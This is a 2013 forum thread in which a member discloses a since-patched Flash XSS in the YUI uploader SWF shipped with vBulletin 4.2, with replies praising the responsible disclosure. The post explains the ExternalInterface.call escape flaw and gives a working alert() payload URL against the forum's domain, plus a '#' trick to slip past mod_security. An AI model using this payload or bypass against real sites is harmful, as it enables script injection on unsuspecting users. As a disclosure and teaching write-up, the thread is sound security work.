View Full Version : Houston, we have an XSS at Garage

07-04-2013, 03:25 AM
I want to share details behind a Flash-based XSS at our Garage4Hackers Forum that I found and has been patched.

Last day, I was uploading a pic for a post here and for some strange reason it was not getting uploaded, I tried to look a bit deeper inside this issue which turned out that our not-so-friendly mod_security module was blocking the file. In the course, I discovered that we use a Flash-based uploader for uploading pictures.


So I decompiled it and checked for common sinks that typically causes XSS in SWF files, I searched for ExternalInterface.call() (http://lcamtuf.blogspot.in/2011/03/other-reason-to-beware-of.html) and found 2 results in the decompiled code.

One reference that caught my attention was:

ExternalInterface.call(this.javaScriptEventHandler , this.elementID, event);

I looked deeper and found that both this.javaScriptEventHandler and this.elementID were being taken from external input (Flashvars), see snippet below:

this.elementID = this.loaderInfo.parameters.YUISwfId;
this.javaScriptEventHandler = this.loaderInfo.parameters.YUIBridgeCallback;
var jsCheck: * = /^[A-Za-z0-9.]*$/g;
if (!jsCheck.test(this.javaScriptEventHandler)) {
this.javaScriptEventHandler = "";

We can see that there is a RegExp validation :mad: on this.javaScriptEventHandler that would prevent our code to reach sink (ExternalInterface.call). But guess what there is no validation with this.elementID ;) . Now we can control the second parameter of ExternalInterface.call but before proceeding let's talk some basic stuff.

ExternalInterface.call AS function works like this :

ExternalInterface.call("sendToJavaScript", input.text);

This will become something like below, when the compiled ActionScript code (in form of SWF file) will execute inside a browser with Adobe Flash installed.

try { __flash__toXML(sendToJavaScript, "value of input.text"); } catch (e) { "<undefined/>"; }

Some more basics, if value of input.text in above ExternalInterface.call is Test" then it will translate to ... __flash__toXML(sendToJavaScript, "Test\""); ... .Notice " got escaped, we are still inside the string block, but to insert our own JS we need to escape out of the string block.

Now if the value of input.text is Test\" it will translate to ... __flash__toXML(sendToJavaScript, "Test\\""); ... . Here our slash will escape out the slash of double quotes :rolleyes: and we can now break out of the string block and break the try-catch block to append our own JS code like a boss!

Imagine if the input of input.text is \")}catch(e) {alert('XSS');}// it will become:

try { __flash__toXML(sendToJavaScript, "\\")}catch(e) {alert('XSS');}//")); } catch (e) { "<undefined/>"; }

Now let's come back to our Flash-based Uploader, controllable variable is this.elementID which received input via external parameter YUISwfId. If value of YUISwfId is equal to input"\ it will result to the following try-catch block via ExternalInterface.call in the uploader code mentioned at the top of this post :


So, we can set the value of YUISwfId parameter to \"))}catch(e) {alert('XSS');}// to execute our payload, just co-relate it with the example we learned earlier :

http://www.garage4hackers.com/clientscript/yui/uploader/assets/uploader.swf?YUISwfId=\"))}catch(e) {alert('XSS');}//

Technically this URL should execute our supplied JS with the origin of http://www.garage4hackers.com domain but IT WON'T as mod_security will kick in and prevent us from doing this..

We have a sneaky bypass for this, we can use a '#' sign before start of query string, this will force the query string to remain on client-side and prevent it from reaching Mr.mod_security

http://www.garage4hackers.com/clientscript/yui/uploader/assets/uploader.swf#?YUISwfId=\"))}catch(e) {alert('XSS');}//

Let's see the POC Image:


And a complete video of analysis: http://www.youtube.com/watch?v=8yswPOOryOg


1. After Googling around I noticed that it was a known issue in YUI Uploader http://osvdb.org/show/osvdb/68876 which was patched back then but still shipped into vBulletin 4.2 which we use at Garage.

2. I'm really thankful to Rahul Sasi aka FB1H2S for quick fix.

3. Decompiled code: http://pastebin.com/1TseRvgn

Cheers to every Garage Member :) :D

07-04-2013, 03:45 PM
Excellent find prakhar ! Brilliant hackerish attempt to find vulnerability !

07-04-2013, 04:03 PM
Nice Find.. & Thanks for Responsible Disclosure :)